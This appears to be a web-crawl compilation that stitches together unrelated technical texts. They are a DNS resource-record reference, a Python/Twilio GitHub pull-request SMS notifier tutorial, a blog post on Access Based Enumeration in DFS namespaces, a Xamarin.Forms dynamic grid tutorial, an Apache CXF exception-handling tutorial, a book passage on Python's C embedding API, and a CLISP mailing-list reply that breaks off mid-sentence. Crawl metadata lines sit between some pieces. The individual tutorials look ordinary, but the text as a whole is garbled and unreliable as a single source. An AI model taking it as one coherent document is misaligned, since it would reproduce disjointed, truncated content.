The format for this record is seen in this output. The value listed for the time intervals in this SOA are those recommended by RFC 1537
.
DOMAIN.NAME. IN SOA Hostname.Domain.Name. Mailbox.Domain.Name. ( 1 ; serial number 86400 ; refresh in seconds (24 hours) 7200 ; retry in seconds (2 hours) 2592000 ; expire in seconds (30 days) 345600) ; TTL in seconds (4 days) The SOA record for the fictional foo.edu might look something like this: FOO.EDU. IN SOA FOO.EDU. Joe_Smith.Foo.EDU. ( 910612 ; serial number 28800 ; refresh in 8 hours 7200 ; retry in 2 hours 604800 ; expire in 7 days 86400 ) ; TTL is 1 day
This list provides an explanation of the data fields in the fictional SOA record.
DOMAIN.NAME.—The name of the domain to which the SOA record pertains. Note the trailing dot (.). This signifies that no suffix is to be appended to the name.
IN—The class of the DNS record. IN stands for "Internet."
SOA—The type of DNS record, the Start of Authority in this example.
Hostname.Domain.Name.—The "origin field" needs to contain the host name of the primary name server for this zone, the host where the authoritative data resides.
Mailbox.Domain.Name.—The mailbox of the individual responsible for (name service for) this domain. In order to translate this field into a usable E-mail address, replace the first dot (.) with an @ (at-sign). In this example, if there are problems with foo.edu, send an E- mail to Joe_Smith@foo.edu.
Serial number—The serial number of the current version of the DNS database for this domain. The serial number is the means by which other nameservers realize that your database has been updated. This serial number starts at 1 and must be a monotonically increasing integer. Do not put a decimal point into the serial number, as this can yield confusing and unpleasant results. Some DNS administrators use the date last modified as the serial number, in the format YYMMDDHHMM, others simply increment the serno by a small number every time the database is updated. The half parenthesis that occurs before the serno and closes after the minimum Time to Live (TTL) number allows the SOA to span multiple lines.
When a secondary nameserver for the foo.edu domain contacts the primary nameserver to check if there has been a change to the primary's DNS database, and if the secondary should do a zone transfer, it compares its own serial number against that of the primary nameserver.
If the serial number of the secondary nameserver is higher than that of the primary, a zone transfer does not occur. If the serial number of the primary namserver is a higher number, the secondary nameserver performs a zone transfer and updates its own DNS database.
The other numeric fields are known as the TTL fields. These control the frequency with which nameservers poll each other to get information updates (for example, how long the data is cached, and so on).
Refresh—Tells the secondary nameserver how often to poll the primary nameserver and how often to check for a serial number change. This interval effects how long it takes for DNS changes made on the primary nameserver to propagate.
Retry—The interval per second at which the secondary nameserver tries to reconnect with the primary nameserver, in the event that it failed to connect at the Refresh interval.
Expire—The number of seconds after which a secondary nameserver needs to "expire" the data of the primary nameserver, if it fails to reconnect to the primary nameserver.
TTL—The default value that applies to all records in the DNS database on a nameserver. Each DNS resource record can have a TTL value configured. The default TTL of the SOA record is only used if a particular resource record does not have an explicit value configured. This value is supplied by authoritative nameservers (primary and secondary nameservers for a particular zone) when they respond to DNS queries.
Each subdomain that is separately nameserved must have at least one corresponding Name Service (NS) record. Name servers use NS records to find each other.
An NS record takes this format:
DOMAIN.NAME. IN NS Hostname.Domain.Name.
The value of an NS record for a domain is the name of the nameserver for that domain. You need to list an NS record for each primary or secondary nameserver for a domain.
The Address record (A record) yields an IPv4 address that corresponds to a host name. There can be multiple IP addresses that correspond to a single hostname, there can also be multiple hostnames each of which maps to the same IP address.
An 'A' record takes this format:
Host.domain.name. IN A xx.xx.xx.xx(IPv4 address)
There must be a valid 'A' record in the DNS for the Host.domain.name in order for a command, such as the telnet host.domain.name command, to work (or there must be a CNAME that points to a hostname with a valid 'A' record).
Note: DNS extensions for supporting IPv6 addresses are dealt with by RFC 1886
.
The Host Information (HINFO) record can be set up to give hardware type and operating system (OS) information about each host. Its presence is optional, but having the information available can be useful.
There can be only one 'HINFO' record per host name.
A 'HINFO' record takes this format:
Host.DOMAIN.NAME. IN HINFO "CPU type" "Operating System"
Note: Both the CPU type and OS fields are mandatory. If you want to leave one of these fields blank, specify it as " " (a blank space enclosed by double quotes). You cannot use just a pair of double quotes [""].
Note: The official machine names that you need for HINFO are found in RFC 1700
. RFC 1700 lists useful information such as /etc/services values, Ethernet manufacturer hardware addresses, and HINFO defaults.
The Text (TXT) record allows you to associate any arbitrary text with a hostname. Some substandard implementations of the bind command do not support the 'TXT' record. However, some substandard implementations of the bind command do support a bogus record type called 'UINFO' that does the same thing. Cisco recommends you use only the 'TXT' record type.
You can have multiple 'TXT' records for a single host name.
A 'TXT' record takes this format:
Host.DOMAIN.NAME. IN TXT "system manager: melvin@host.domain.name" IN TXT "melasu"
A zone can have one or more Mail Exchange (MX) records. These records point to hosts that accept mail messages on behalf of the host. A host can be an 'MX' for itself. MX records need not point to a host in the same zone.
An 'MX' record takes this format:
Host.domain.name. IN MX nn Otherhost.domain.name. IN MX nn Otherhost2.domain.name.
The 'MX' preference numbers nn (value 0 to 65535) signify the order in which mailers select 'MX' records when they attempt mail delivery to the host. The lower the 'MX' number, the higher the host is in priority.
The Canonical Name (CNAME) record is used to define an alias hostname.
A CNAME record takes this format:
alias.domain.name. IN CNAME otherhost.domain.name.
This defines alias.domain.name as an alias for the host whose canonical (standard) name is otherhost.domain.name.
Note: A hostname that exists as a CNAME cannot have any other DNS records applied to it. For example, if your domain is called philosophy.arizona.edu, and it is separately nameserved (so that it has its own SOA and NS records), then you cannot give philosophy.arizona.edu a CNAME record. In order send an E-mail to anyuser@philosophy.arizona.edu, you need to use MX and/or A records.
Pointer records are the opposite of A Records and are used in Reverse Map zone files to map an IP address to a host name. Unlike the other SOA records, Pointer (PTR) records are used only in reverse (IN-ADDR.ARPA) domains. There must be exactly one PTR record for each Internet address. For example, if the host gadzooks.poetry.arizona.edu has an IP address of 128.196.47.55, then there must be a PTR record for it in this format:
55.47.196.128.IN-ADDR.ARPA. IN PTR gadzooks.poetry.arizona.edu.
Reverse domains contain mainly PTR records (plus SOA and NS records at the top).
The Berkeley r-utilities use the value of the PTR record for hostname authentication. Although DNS specifies that case is not significant in hostnames, be aware that some operating systems are sensitive to hostname case. | http://www.cisco.com/c/en/us/support/docs/ip/domain-name-system-dns/12684-dns-resource.html?referring_site=bodynav | CC-MAIN-2016-36 | refinedweb | 1,675 | 66.13 |
If you're working on an urgent project in GitHub with other developers, it's handy to get immediate notifications by SMS. However, there is no SMS option out of the box! So I said, “Enough is enough; I'll start my own notification system!”
In this tutorial, I'll walk you through the steps of building out the beginnings of a notification system for GitHub pull requests. More specifically, we will use the GitHub and Twilio APIs in Python to send texts notifying you when a new pull request has been submitted.
Getting Started
First, we have to set our environment up. This guide was written in Python 3.6. If you haven't already, download Python and Pip. Next we will install
virtualenv to create and activate your virtual environment by entering the followings command in your command-line:
pip3 install virtualenv==15.1.0 python3 -m venv ghpull cd ghpull source ./bin/activate
Next, you’ll need to install several packages that we’ll use throughout this tutorial on the command line in our project directory:
pip3 install PyGithub==1.39 pip3 install twilio==6.10.0
Authenticating with Twilio and GitHub
Since we will be using the APIs for GitHub and Twilio, set up free accounts with both here and here if you don't already have them.
Once you have an account with GitHub, you’ll need to retrieve your API keys by selecting Settings > Developer Settings > Personal Access Tokens > Generate new token. For the scopes, select everything under "repo". Your token will be shown on the next screen.
Once you have your API keys, we can move onto coding. For this task, we’ll take an object-oriented approach, so we will begin by creating a class called “PullNotifs” in a file named
github_notifier.py. I’ve chosen a class name that reflects the name of the GitHub organization I’m getting notifications for, but feel free to choose your own name.
In the constructor, we’ll authenticate GitHub and Twilio using the keys we set up before. This is important for the rest of this exercise, so make sure you do this correctly. You can find the code here:
import github from twilio.rest import Client class PullNotifs: def __init__(self): self.git_client = github.Github("username", "key-here") self.twilio_client = Client('account-sid', 'auth-token')
Before we continue, let’s quickly review the structure of the GitHub API. The GitHub client you authenticated earlier,
self.git_client, is associated with your GitHub account. In my case, this is “lesley2958,” which you can retrieve with the function
git_client.get_user().
From your GitHub account, we need all the repos associated with it. And from these repos, we’ll need to collect all the pull requests for each repo. In the constructor, we’ll initialize an empty list for all the repo’s pull requests and an empty dictionary for its associated counts. This will help us keep track of whether new pull requests have been submitted.
class PullNotifs: def __init__(self): self.git_client = github.Github("username", "key-here") self.twilio_client = Client('account-sid', 'auth-token') self.pulls = [] self.pull_counts = {}
Collecting Pull Requests
Now that the constructor is set up, we can start building methods to get this going. Earlier, I described the structure of the GitHub API and how to retrieve the pull requests, but let’s actually build this method out in a function called
get_all_ repos().
In this function, we begin by initializing a variable
count to 0, which keeps track of the index of each repo that will be in the list initialized in the constructor. Next, we iterate through each of our repos with
self.git_client.get_user().get_repos() and append each repo of pull requests to the
pulls list. At the same time, we initialize the index of the repo to the number 0 in the
pull_counts dictionary.
def get_all_repos(self): count = 0 for i in self.git_client.get_user().get_repos(): self.pulls.append(i.get_pulls('all')) self.pull_counts[count] = 0 count += 1
We created key-value pairs of indices of the repos to the value 0 in the
get_all_repos(), since we didn’t have a way of counting the number of pull requests. Sadly enough, the GitHub API doesn’t currently support an attribute that returns the number of pull requests.
To figure this question out, we’ll have to iterate through each repo’s set of pull requests and count them with another
count variable. We’ll do this in a separate function,
set_pull_counts, so things don’t get too confusing.
def set_pull_counts(self): count = 0 for repo in self.pulls: for j in repo: self.pull_counts[count] = self.pull_counts[count] + 1 count += 1
Now that we have functions that collect the repos and their number of pull requests, we need a way of checking whether new pull requests have been submitted. Since we’re keeping things fairly simple for now, we’ll only be checking to see whether a new pull request has been submitted, so our return value will be a simple True or False.
In order to do this, first we retrieve an updated list of
pulls, otherwise we’ll be comparing the same two objects. This is why you see those nested function calls once again, highlighted below. Next, we create a local dictionary of counts to compare to the one in the constructor. In this same
check_counts() function, we check whether these two dictionaries are equivalent and return a Boolean.
Lastly, we pull in the Twilio API for notification. This will send a text message to your number with just four lines of code.
def send_message(self): message = self.twilio_client.messages.create( to="YOURNUMBER", # write 1-555-666-7777 as "15556667777" from_="TWILIONUMBER", body="You have new pull requests for ADI Labs!")
Now that we’ve finished all the parts of our codebase, we can put them all together:
import github from twilio.rest import Client class PullNotifs: def __init__(self): self.git_client = github.Github("username", "key-here") self.twilio_client = Client( "key-here", "key-here") self.pulls = [] self.pull_counts = {} def get_all_repos(self): self.pulls = [] count = 0 for i in self.git_client.get_user().get_repos(): self.pulls.append(i.get_pulls('all')) self.pull_counts[count] = 0 count += 1 def set_pull_counts(self): count = 0 for repo in self.pulls: for j in repo: self.pull_counts[count] = self.pull_counts[count] + 1 count += 1 def send_message(self): message = self.twilio_client.messages.create( to="+1XXXXXXXXXX", # put numbers in +1XXXXXXXXXX format from_="+1XXXXXXXXXX", body="You have new pull requests for ADI Labs!")
Bringing It Together With __main__
Last but not least, in this same
github_notifier.py file, we’ll add a main to execute the code.
The first three lines of code initialize the class and set up the state. From there, we set up a loop to automate checking whether a new pull request has been submitted.
Next I’ve written a
while True: loop to show you how it works. If a difference in pull request counts is spotted, we send a notification via Twilio and update the pull requests and number of pull requests with our two function calls.
if __name__ == "__main__": labs = PullNotifs() labs.get_all_repos() labs.set_pull_counts() while True: if not labs.check_counts(): labs.send_message() labs.pull_counts = {} labs.get_all_repos() labs.set_pull_counts()
Triggering Twilio SMS on a Pull Request
Now, let’s test it out. But first, you need a repo to make a change to. If you don’t already have a repo to test this out with, follow these steps to make your first repo. On GitHub, you should see a “+” sign on the upper right corner: click on the “New repository” option to get started.
A page asking for details should show up, where you’ll be asked to provide a name. For simplicity, you can just choose “test-repo”, but make sure to click “initialize this repository with a README” before you click the green “Create repository” button.
To make a pull request, you’ll need to make a branch where you’ll soon make an edit to. To do this, click on “Branch: master” where you’ll then be able to name and then create a new branch, which you can name “test-branch”.
Now make any change to a file in your repo. I recommend making a README.md or adding something small like a space or newline. Then head over to the “Pull requests” tab of the forked repo, as shown below. To submit a pull request, find and click the green “New pull request” button.
You should be redirected to a page asking you to compare your changes. Click the “Create pull request” button to continue the process.
Finally, you can confirm your pull request submission by clicking “Create pull request” once again on this last page. The final page should look like this, with no need to take any action. Just sit back and wait for your text to come through!
Your incoming text should look something like this:
Once you get your notification text, you can always be on top of pull requests!
Notification Sent!
With our newly created Python app, we can constantly keep track of our pull requests since we utilized the GitHub and Twilio APIs. But because both APIs are so extensive, you can extend this app to include notifications for almost anything related to your GitHub account and affiliations. Or, instead of notifications that can come in at anytime, you can customize your app to only send you notifications during working hours -- anyway you would like your notifications, you can make possible with these two APIs.
If you liked what you did here, check out my GitHub (@lesley2958) and Twitter (@lesleyclovesyou) for more! | https://www.twilio.com/blog/keep-track-github-pull-requests-python-twilio-sms | CC-MAIN-2022-05 | refinedweb | 1,616 | 64.91 |
In another post (Apache CXF with Spring Integration) I covered splitting an application into a client/service structure using Apache CXF. In that project the business service would throw a custom exception if a certain user tried to register. The problem is that without any special handing CXF will return a 500 error and lose the custom exception. The client will see the 500 response code and throw it’s own exception which is ambiguous. The result is broken logic in the Spring MVC controller which expected the custom exception. To solve this and restore the original functionality I implemented CXF exception handlers to set appropriate headers which the client can use to map back to the original custom exception and message.
Below is the service class that is throwing the custom exception:
@Service("sampleService") public class SampleServiceImpl implements SampleService { @Autowired UserDao userDao; public User saveUser(User user) throws InvalidUserException{ String firstName = user.getFirstName(); if(!StringUtils.isEmpty(firstName) && "Dave".equalsIgnoreCase(firstName)) { throw new InvalidUserException("Sorry Dave"); } return userDao.save(user); } }
Below is the original controller that would handle the InvalidUserException. The goal is to not change the controller method at all and still use CXF to make a REST call for the form creation.
@RequestMapping(value = "/create", method = RequestMethod.POST) public String search(Model model, @Valid SignupForm signupForm, BindingResult result, RedirectAttributes redirectAttributes) { String returnPage = PAGE_INDEX; if (!result.hasErrors()) { try { model.addAttribute("form", sampleService.saveFrom(signupForm)); returnPage = PAGE_SHOW; } catch (InvalidUserException e) { model.addAttribute("page_error", e.getMessage()); } } return returnPage; }
The first step is to implement a jaxrs exception handler that will modify the response. The CXF Exception Handler class lives on the service side and is responsible for setting the response.
import com.luckyryan.sample.exception.InvalidUserException; import javax.ws.rs.core.Response; import javax.ws.rs.ext.ExceptionMapper; public class ExceptionHandler implements ExceptionMapper<InvalidUserException> { public Response toResponse(InvalidUserException exception) { Response.Status status; status = Response.Status.INTERNAL_SERVER_ERROR; return Response.status(status).header("exception", exception.getMessage()).build(); } }
Once this is registered in the jaxrs service provider list, it will be called automatically when the InvalidUserException is thrown.
This handler will set a 500 response code. That tells the rest client that an exception happened and will let us wire up a handler in the client. A custom header “exception” is also set with the original exception message so we can crab it from the client.
Add the ExceptionHandler to the service provider list in the server definition. This is set in>
At this point the service will now respond with a 500 response and custom header with the exception message. Next the client will need to translate that combo into the custom exception for the controller.
The CXF Exception Handler class lives in the client.
import org.apache.cxf.jaxrs.client.ResponseExceptionMapper; import javax.ws.rs.core.Response; public class ExceptionHandler implements ResponseExceptionMapper { @Override public Throwable fromResponse(Response response) { throw new InvalidUserException(response.getHeaderString("exception")); } }
This implements ResponseExceptionMapper which will give access to the Response object. Once this handler is added to the provider list it will be invoked for any 500 response for the service call.
Next it’s wired into the provider list.
This example app uses Spring with CXF. There are two examples below, one for Java Config and the other for xml. Only use the one relevant to your application.
Spring Java Config
); }
Spring XML version
<!-->
That’s it! Now the application will handle the exception as before until it’s refactored into a better REST model.
Hi,
Can i implement this in the global through out application using cxf:bus ? If yes, can you please provide sample snippet to configure?
Hi Ryan
What if I want to use my own status code such as 601, 700, 800?
I know, it’s not a good solution but I have to support old Android client which is checking the http status code and I can’t change Android client.
At the moment, my application is using “apache wink 1.0 incubating” and I really want to replace that with apache cxf 3.x. But I can’t find the way how to.
Regards,
Albert
Hi Ryan. I want to ask if a should implement ExceptionHandler both on the service side and client side whether I could just implement it on the client side? Thanks in advance.
What if I want to map multiple exceptions? Say IllegalArgumentException to 400 and NumberFormatException also to 400. In that case I will have to create separate mapper for each of these exceptions? That’s so inconvenient. Can’t we use Springs Exception Mapper @ControllerAdvice with CXF? | https://www.luckyryan.com/2013/06/15/apache-cxf-exception-handler-for-jaxrs-rest/ | CC-MAIN-2019-39 | refinedweb | 762 | 50.02 |
explain how to pass parameter to thread??
Never done multithreading in java, but I am going to assume it is like anything else. When you create a new thread, you pass in the parameter in the function call. So if you want to pass an integer, you would pass in the variable, typically in the void* parameter, of the create thread method.
If you are using another class
public class Constructor_benifit{
public static void main(String[] args){
System.out.println("In primary Thread");
A a=new A("Test string for secondary thread");
Thread thread_object=new Thread(a);
thread_object.start();
}
}
class A implements Runnable
{
String to_print;
A(String to_print){
this.to_print=to_print;
}
public void run(){
System.out.println(to_print);
}
}
In same class means anyway no problem.. You can make use of common variable or same style you can follow it.
Edited 7 Years Ago
by Muralidharan.E: n/a
See
It pretty much boils down to these choices:
1. Pass them to the constructor of your Thread/Runner class.
2. If you're using anonymous inner classes, make variables in the enclosing scope final , which makes them usable from within the anonymous inner class.
3. Non-static nested classes have access to fields in their parent classes. (I discourage the use of this option, as sloppy and more difficult to maintain.)
final
The "final" trick is the most commonly used. (#2 above)
JeffGrigg , You are correct.. The way i have answered was to make beginner to understand in a better way.
@#Muralidharan.E
I can't tell from the comments in your code what parameter is being passed to the Thread. Could you edit your example and explain that?
@NormR1: Consider this code, and see if you can find the parameter being passed to the Thread:
public class Constructor_benifit {
public static void main(String[] args) {
System.out.println("In primary Thread");
new Thread(new A("Test string for secondary thread")).start();
new Thread(new A("Here's another message.")).start();
new Thread(new A("And this is yet another thread.")).start();
}
}
class A implements Runnable {
String to_print;
A(String to_print) {
this.to_print = to_print;
}
public void run() {
System.out.println(to_print);
}
}
see if you can find
That is exactly the point. Students need a bit more help understanding how code works.
They should not have to "find" how posted code works. That should be explained in the code's comments.
Since balajisathya asked How to pass parameter to thread, I have given that code without any comments. And there is no complex flow which will confuse beginner. That is very short which can be understand by a student.
Note- He didnt ask what is parameter and how to pass parameter, He asked How to pass
parameter to thread. So he knows what is parameter.
By considering these things only i have given like that.
Anyway it is always good to have proper comments even for small bit of
programs. Here after i will follow ... | https://www.daniweb.com/programming/software-development/threads/375713/how-to-pass-parameter-to-thread | CC-MAIN-2018-43 | refinedweb | 492 | 68.26 |
Hello, Dave here. Today I discuss the Access Based Enumeration (ABE) feature in Windows Server and how it may be implemented with Distributed File System Namespaces (DFSN).
First you may ask, “What is ABE, and why would I want to utilize it?” By default, all folders and files will be listed in a folder, even if the browsing user doesn’t have permissions to them. For example, three users (Alice, Bob, and Cindy) have folders under a share on file server ‘FS1’.
Each user’s folder has permissions such that only the single user has access (icacls.exe output below):
\\fs1\share\Alice CONTOSO\Alice:(OI)(CI)F
\\fs1\share\Bob CONTOSO\bob:(OI)(CI)R
\\fs1\share\Cindy CONTOSO\Cindy:(OI)(CI)R
The following is what user “Bob” observes when browsing the UNC path \\fs1\share:
If a user attempts to open another user’s folder or file within that folder, they will be met with an error as they do not have sufficient permissions. Administrators may not desire this user experience, as it may generate helpdesk calls or confuse users.
ABE is Windows Server feature which causes the server to display only the files and folders that a user has permissions to access. Once ABE is enabled on the share mentioned above, users will only see those folders for which they have access. Below is Bob’s view of the share’s contents, now with ABE enabled:
ABE is enabled for non-DFS shares via the “Share and Storage Management” snap-in. You may be asking if this feature may be utilized by DFS Namespaces as well. Yes it can!
ABE in DFSN has matured considerably since its original implementation in Windows Server 2003. Back then, you had to install a separate add-on component to expose the necessary UI to configure ABE on a shared folder. Then, you had to follow KB article 907458 in order to make it functional within a DFS namespace. Further complications arose from having to utilize cacls.exe on each namespace server to set link permissions and having to repeat the operation should the namespace be modified in various ways. To say the least, there was significant management overhead.
Fortunately, Windows Server 2008 and 2008 R2 supports ABE in DFSN natively. It may be utilized on a domain-based or standalone namespace such that users will only see DFSN folders for which they have permissions. NOTE: ABE requires the namespace to be in “Windows Server 2008 Mode”. If you have existing namespaces that are in “Windows 2000 Server mode” (view the properties of a namespace in the DFS Management snap-in), you will need to convert them to 2008 mode. To do so, please follow the information available here.
As an example, the namespace “ns1” was created and contains DFSN folders for the three user folders discussed previously.
The DFSN folder “Bob” is configured with the target \\fs1\share\bob, as seen below:
By default ABE is not enabled on the namespace, and users are able to see all DFS folders within it. When Bob browses the namespace via the path \\contoso.com\ns1, he will see the three DFS folders defined above: Alice, Bob, and Cindy. By enabling ABE on the namespace, the DFSN service of all namespace servers will automatically enable ABE on their local namespace share and enforce the configured permissions of reparse folders automatically. You will not be burdened with having to run cacls.exe manually on each namespace server.
The commands utilized to enable ABE and set the required permissions are as follows:
dfsutil property abde enable \\contoso.com\ns1
dfsutil property acl grant \\contoso.com\ns1\alice contoso\alice:F protect
dfsutil property acl grant \\contoso.com\ns1\bob contoso\bob:F protect
dfsutil property acl grant \\contoso.com\ns1\cindy contoso\cindy:F protect
Note: The ‘protect’ parameter is important as the reparse folders underneath the namespace shared folder will inherit permissions by default and typically not restrict access to the DFSN folders. Also, the “abde” parameter was changed to “abe” in the 2008 R2 and Windows 7 version of dfsutil.
With a Windows 7 client or a 2008 R2 server running RSAT, enabling ABE and setting permissions may be directly performed via the DFS Management MMC. Simply open the properties of a specific DFS folder in the namespace and click the ‘advanced’ tab:
Bob would have the following view of the “NS1” namespace after ABE is enabled and appropriate permissions are set:
In the end, the permissions configured within the namespace ultimately end up on the special reparse folders found within the namespace server’s share. It is the enumeration of these reparse folders which dictates if a DFSN folder is observable by a user as they browse through the namespace.
One final note:
Pingback from DFS | Pearltrees
Guys on this page there is a warning and a reference to another page, "In some environments, enabling access-based enumeration can cause high CPU utilization on the server and slow response times for users.
For more information, see the Microsoft Web site. " But this page now no longer exists.
Would you happen to know what this warning is about, I’m looking at applying ABE to the namespaces I have in my organisation, but it has a huge and complex DFS Structure and I’m wary of rocking the boat and causing Servers to go slow or behave erratically. | https://blogs.technet.microsoft.com/askds/2011/01/25/using-abe-with-dfs/ | CC-MAIN-2017-26 | refinedweb | 905 | 60.35 |
The first thing you should know about Pythons embedded-call API is that it is less structured than the extension interfaces. Embedding Python in C may require a bit more creativity on your part than extending; you must pick tools from a general collection of calls to implement the Python integration, rather than coding to a boilerplate structure. The upside of this loose structure is that programs can combine embedding calls and strategies to build up arbitrary integration architectures.
The lack of a more rigid model for embedding is largely the result of a less clear-cut goal. When extending Python, there is a distinct separation for Python and C responsibilities and a clear structure for the integration. C modules and types are required to fit the Python module/type model by conforming to standard extension structures. This makes the integration seamless for Python clients: C extensions look like Python objects and handle most of the work.
But when Python is embedded, the structure isn as obvious; because C is the enclosing level, there is no clear way to know what model the embedded Python code should fit. C may want to run objects fetched from modules, strings fetched from files or parsed out of documents, and so on. Instead of deciding what C can and cannot do, Python provides a collection of general embedding interface tools, which you use and structure according to your embedding goals.
Most of these tools correspond to tools available to Python programs. Table 20-1 lists some of the more common API calls used for embedding, and their Python equivalents. In general, if you can figure out how to accomplish your embedding goals in pure Python code, you can probably find C API tools that achieve the same results.
Because embedding relies on API call selection, though, becoming familiar with the Python C API is fundamental to the embedding task. This chapter presents a handful of representative embedding examples and discusses common API calls, but does not provide a comprehensive list of all tools in the API. Once youve mastered the examples here, youll probably need to consult Pythons integration manuals for more details on available calls in this domain. The most recent Python release comes with two standard manuals for C/C++ integration programmers: Extending and Embedding, an integration tutorial; and Python/C API, the Python runtime library reference.
You can find these manuals on the books CD (view CD-ROM content online at), or fetch their most recent releases at. Beyond this chapter, these manuals are likely to be your best resource for up-to-date and complete Python API tool information.
Before we jump into details, lets get a handle on some of the core ideas in the embedding domain. When this book speaks of "embedded" Python code, it simply means any Python program structure that can be executed from C. Generally speaking, embedded Python code can take a variety of forms:
C programs can represent Python programs as character strings, and run them as either expressions or statements (like eval and exec).
C programs can load or reference Python callable objects such as functions, methods, and classes, and call them with argument lists (like apply).
C programs can execute entire Python program files by importing modules and running script files though the API or general system calls (e.g., popen).
The Python binary library is usually what is physically embedded in the C program; the actual Python code run from C can come from a wide variety of sources:
Registration is a technique commonly used in callback scenarios that we will explore in more detail later in this chapter. But especially for strings of code, there are as many possible sources as there are for C character strings. For example, C programs can construct arbitrary Python code dynamically by building and running strings.
Finally, once you have some Python code to run, you need a way to communicate with it: the Python code may need to use inputs passed in from the C layer, and may want to generate outputs to communicate results back to C. In fact, embedding generally becomes interesting only when the embedded code has access to the enclosing C layer. Usually, the form of the embedded code suggests its communication mediums:
[1] If you want an example, flip back to the discussion of Active Scripting in Chapter 15. This system fetches Python code embedded in an HTML web page file, assigns global variables in a namespace to objects that give access to the web browsers environment, and runs the Python code in the namespace where the objects were assigned. I recently worked on a project where we did something similar, but Python code was embedded in XML documents, and objects preassigned to globals in the codes namespace represented widgets in a GUI.
Naturally, all embedded code forms can also communicate with C using general system-level tools: files, sockets, pipes, and so on. These techniques are generally less direct and slower, though. | https://flylib.com/books/en/2.723.1/c_embedding_api_overview.html | CC-MAIN-2018-43 | refinedweb | 836 | 55.27 |
I recently had a client who wanted to create simple reports that consisted of a variable number of columns, followed by a “more” button that takes you to a page with the full details.
The problem was that they didn’t want to hard-code anything. They wanted the ability to add reports without sending out a new version of the software, and they wanted to be able to pick which columns were visible. Yikes!
The solution to this came in four files. The first captured the information about the report itself…
The Model
public class ReportInformation { public string ReportID { get; set; } public string ReportName { get; set; } public string DisplayName { get; set; } }
The other model class we need is the GenericItem. This class has 20 sets of three strings. Here’s the first and second,
public string Property1 { get; set; } public string Property1ColumnName { get; set; } public string Property1Flag { get; set; } public string Property2 { get; set; } public string Property2ColumnName { get; set; } public string Property2Flag { get; set; }
This will allow us to generically decide whether to display the column (the PropertyFlag) and display the header (Column name) and of course the property itself.
Placement
With this in hand, we are ready to create our generic grid. First step: create a place for it. For that, I used a StackLayout in my xaml file (Foo.xaml)
<?xml version="1.0" encoding="utf-8" ?> <ContentPage xmlns="" xmlns: <ContentPage.Content> <ScrollView> <StackLayout x: </StackLayout> </ScrollView> </ContentPage.Content> </ContentPage>
The key here is the StackLayout with the name GridHolder. We’re going to put our grid into that StackLayout.
Creating the Grid
The first thing we agreed on was that there would never be more than 20 columns of information. This design can handle a bit more than that, but it becomes unwieldy. If we needed an undetermined number, we’d modify how we go about this; the code would be a bit more complex but we’d have greater flexibility.
The rest of the work is done in the code behind file (foo.xaml.cs). We start by creating the grid itself:
Grid grid = new Grid() { ColumnSpacing = 2 };
We then initialize the columnCount (which, as you might guess, keeps track of the number of columns we’re going to display) and we create a List to hold the generic items we’ll be working with.
private int columnCount; private List<GenericItem> genericItems { get; set; } = new List<GenericItem>();
We next call two methods,
await PopulateGenericReport(); BuildGrid();
Populate Generic Report
In PopulateGenericReport() we go out to the server and get back a collection of GenericItems as described above. We get the first item in the collection and then we iterate through each genericItem in the collection looking to see if the flag is set to true (“1”). If so, we increment the count of columns.
if (genericItems != null && genericItems.Count > 0) { GenericItem genericItem = genericItems[0]; columnCount = 0; if (genericItem.Property1Flag == "1") { columnCount++; } if (genericItem.Property2Flag == "1") { columnCount++; }
We do this for all 20 potential columns. Typically we end up with three that have their flag set to “1” (true).
BuildGrid
We now turn to the heart of the matter: creating the Grid. We start by telling the StackLayout we saw earlier (named GridHolder) to clear its children. We next call CreateGrid and then we Populate the Grid, and finally we add the grid to the StackLayout.
private void BuildGrid() { GridHolder.Children.Clear(); CreateGrid(); PopulateGrid(); GridHolder.Children.Add(grid); }
To create the Grid we create a new instance of Grid, clear the row and column definitions, and then declare the number of rows we need (how many items are there altogether) and the number of columns (how many had their flag set to “1”…
private void CreateGrid() { grid = new Grid(); grid.RowDefinitions.Clear(); grid.ColumnDefinitions.Clear(); for (int i = 0; i < genericItems.Count; i++) { grid.RowDefinitions.Add(new RowDefinition { Height = new GridLength( 1, GridUnitType.Auto) }); } for (int j = 0; j < columnCount; j++) { grid.ColumnDefinitions.Add( new ColumnDefinition { Width = new GridLength( 1, GridUnitType.Star) }); } }
It is now time to populate the grid. We do this by iterating through each GenericItem in our collection. If the flag is true, we add the header (this gets overwritten a few times) and the data from the column:
foreach (GenericItem genericDisplayItem in genericItems) { column = 0; if (genericDisplayItem.Property1Flag == "1") { headerLabel = new Label { Text = genericItems[genericItemCounter] .Property1ColumnName }; grid.Children.Add(headerLabel, column, 0); displayLabel = new Label { Text = genericItems[genericItemCounter] .Property1 }; displayLabel.VerticalOptions = LayoutOptions.Center; displayLabel.FontSize = 10; grid.Children.Add(displayLabel, column++, row); }
Again, we do this for all 20 columns, creating labels only for those whose PropertyFlag is set true.
Done
That’s pretty much all there is to it. You do have to handle the “more” button, displaying all the columns (whether or not the flag is true). We figure out the row of the button that was pushed, and we send its data to the details page.
private void HandleMoreButtonClicked( object sender, EventArgs e) { Button theButton = (Button)sender; int row = Grid.GetRow(theButton); for (int i = 0; i < genericItems.Count; i++) { if (i == row - 1) { GenericItem genericItem = genericItems[i]; Navigation.PushAsync( new GenericDetailPage(genericItem)); } } }
Hope this is helpful the next time you need a generic set of reports.
Thanks,This is what i have been looking for. | http://jesseliberty.com/2018/01/20/creating-a-generic-report-in-xamarin-forms/ | CC-MAIN-2019-22 | refinedweb | 876 | 55.54 |
You can subscribe to this list here.
Showing
11
results of 11
On Fri, 4 Oct 2002, John K. Hinsdale wrote:
> Date: Fri, 4 Oct 2002 19:09:10 -0400
> From: John K. Hinsdale <hin@...>
> To: Joerg-Cyril.Hoehle@...
> Cc: clisp-list@...
> Subject: Re: [clisp-list] How to get the call stack?
>
>
> >> I would still like to take snapshot of the stack, _before_ it's
>
> > That's the difference between HANDLER-BIND and HANDLER-CASE.
>
> Got it, thanks. just what I wanted. My call stack is now getting
> (approximately) displayed, so I won't go back to perl or Java :)
It was said by Kent Pitman that HANDLER-CASE is a construct for people
coming from languages in which the only thing that you can do with an
exception is to contain it. ;)
You have RESTART-CASE, RESTART-BIND, HANDLER-CASE and HANDLER-BIND.
The two that you usually want are RESTART-CASE and HANDLER-BIND.
The reason for that is that the selected restart site is where
unwinding ultimately happens. Consequently, most restarts want to
perform a non-local exit to the restart point, thus the case construct
is most convenient. With restart-bind, the restart function would have
to set up a non-local exit. Or it could even return back to the error
handler, which would probably be confused as heck, not expecting the
evaluation of (invoke-restart ...) to return!
Whereas at the condition handling site, you don't want to unwind right
away, because you want to scan the dynamic context for available
restarts, which might be established at a or lower level of nesting
than the handler. Unwinding is explicitly initiated by invoking a
